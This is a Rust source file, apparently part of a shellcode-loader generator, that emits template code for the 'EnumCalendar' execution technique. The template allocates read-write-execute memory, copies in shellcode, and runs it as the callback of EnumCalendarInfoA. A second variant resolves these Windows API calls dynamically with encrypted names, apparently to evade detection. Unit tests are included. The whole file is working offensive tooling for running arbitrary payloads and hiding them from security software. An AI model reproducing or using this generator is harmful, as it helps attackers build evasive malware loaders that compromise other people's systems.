pub fn enum_calendar_import() -> String {
     r#"
 use std::ptr;
 "#
     .to_string()
 }
 
 pub fn enum_calendar_const() -> String {
     r#"
 const MEM_COMMIT: u32 = 0x1000;
 const MEM_RESERVE: u32 = 0x2000;
 const PAGE_EXECUTE_READWRITE: u32 = 0x40;
 
 const LOCALE_USER_DEFAULT: u32 = 0x0400;
 const ENUM_ALL_CALENDARS: u32 = 0xFFFFFFFF;
 const CAL_SMONTHNAME1: u32 = 0x00000015;
 
 #[link(name = "kernel32")]
 extern "system" {
     fn EnumCalendarInfoA(
         callback: *const std::ffi::c_void,
         locale: u32,
         calendar: u32,
         cal_type: u32,
     ) -> i32;
 }
 
 #[link(name = "ntdll")]
 extern "system" {
     fn RtlCopyMemory(
         destination: *mut std::ffi::c_void,
         source: *const std::ffi::c_void,
         length: usize,
     );
 }
 "#
     .to_string()
 }
 
 #[allow(dead_code)]
 pub fn enum_calendar_init() -> String {
     "".to_string()
 }
 
 pub fn enum_calendar_process() -> String {
     r#"
     unsafe {
         let addr = VirtualAlloc(
             ptr::null_mut(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {
             panic!("failed");
         }
 
         RtlCopyMemory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         let result = EnumCalendarInfoA(
             addr,
             LOCALE_USER_DEFAULT,
             ENUM_ALL_CALENDARS,
             CAL_SMONTHNAME1,
         );
 
         if result == 0 {
             panic!("failed");
         }
     }
 "#
     .to_string()
 }
 
 fn generate_enum_calendar_template(_target_process: &str, function_name: &str) -> String {
     super::common::TechniqueTemplateBuilder::new()
         .with_import(enum_calendar_import())
         .with_const(enum_calendar_const())
         .with_init(enum_calendar_init())
         .with_process(enum_calendar_process())
         .build(function_name)
 }
 
 pub fn generate_enum_calendar_code(_target_process: &str, function_name: &str) -> String {
     generate_enum_calendar_template(_target_process, function_name)
 }
 
 fn enum_calendar_process_with_dynamic_resolver(
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     use super::dynamic_common::*;
 
     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
     let enum_calendar_info_a = enum_calendar_info_a_resolver(encryptor)?;
 
     Ok(format!(
         r#"
     unsafe {{
         {virtual_alloc_resolver}
         {virtual_alloc_cast}
 
         let addr = virtual_alloc(
             ptr::null(),
             shellcode.len(),
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE,
         );
 
         if addr.is_null() {{
             panic!("failed");
         }}
 
         {rtl_copy_memory_resolver}
         {rtl_copy_memory_cast}
 
         rtl_copy_memory(
             addr,
             shellcode.as_ptr() as *const std::ffi::c_void,
             shellcode.len(),
         );
 
         {enum_calendar_info_a_resolver}
         {enum_calendar_info_a_cast}
 
         let result = enum_calendar_info_a(
             addr,
             LOCALE_USER_DEFAULT,
             ENUM_ALL_CALENDARS,
             CAL_SMONTHNAME1,
         );
 
         if result == 0 {{
             panic!("failed");
         }}
     }}
 "#,
         virtual_alloc_resolver = virtual_alloc.resolver_code,
         virtual_alloc_cast = virtual_alloc.cast_code,
         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
         enum_calendar_info_a_resolver = enum_calendar_info_a.resolver_code,
         enum_calendar_info_a_cast = enum_calendar_info_a.cast_code,
     ))
 }
 
 fn generate_enum_calendar_template_with_dynamic_resolver(
     function_name: &str,
     _encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> Result<String, String> {
     let process_code = enum_calendar_process_with_dynamic_resolver(encryptor)?;
 
     Ok(super::common::TechniqueTemplateBuilder::new()
         .with_import(enum_calendar_import())
         .with_const(enum_calendar_const())
         .with_init(enum_calendar_init())
         .with_process(process_code)
         .build(function_name))
 }
 
 pub fn generate_enum_calendar_code_with_dynamic_resolver(
     function_name: &str,
     encryption_type: &str,
     encryptor: &dyn crate::encryption::Encryptor,
 ) -> String {
     generate_enum_calendar_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
         .unwrap_or_else(|err| {
             panic!(
                 "Failed to generate EnumCalendar code with dynamic resolver (encryption: {}): {}",
                 encryption_type, err
             )
         })
 }
 
 pub struct EnumCalendarGenerator;
 
 impl super::trait_generator::TechniqueGenerator for EnumCalendarGenerator {
     fn generate_code(&self, _process: &str, function_name: &str) -> String {
         generate_enum_calendar_code(_process, function_name)
     }
 
     fn generate_code_with_dynamic_resolver(
         &self,
         _process: &str,
         function_name: &str,
         encryption_type: &str,
         encryptor: &dyn crate::encryption::Encryptor,
     ) -> String {
         generate_enum_calendar_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
     }
 
     fn requires_process(&self) -> bool {
         false
     }
 
     fn name(&self) -> &'static str {
         "EnumCalendar"
     }
 }
 
 #[cfg(test)]
 mod tests {
     use super::*;
 
     #[test]
     fn test_generate_enum_calendar_template_contains_all_parts() {
         let template = generate_enum_calendar_template("notepad.exe", "MyFunction");
         assert!(template.contains("use std::ptr"));
         assert!(template.contains("MEM_COMMIT"));
         assert!(template.contains("fn MyFunction"));
         assert!(template.contains("VirtualAlloc"));
         assert!(template.contains("EnumCalendarInfoA"));
     }
 
     #[test]
     fn test_generate_enum_calendar_code() {
         let code = generate_enum_calendar_code("notepad.exe", "MyRandomFunc");
         assert!(code.contains("fn MyRandomFunc"));
     }
 
     #[test]
     fn test_enum_calendar_does_not_use_process_param() {
         let code = generate_enum_calendar_code("notepad.exe", "TestFunc");
         // This technique doesn't use process injection, so it shouldn't contain the process name
         assert!(!code.contains("notepad.exe"));
     }
 }

© 2024 - 2026 djnn, inc • generated with stagit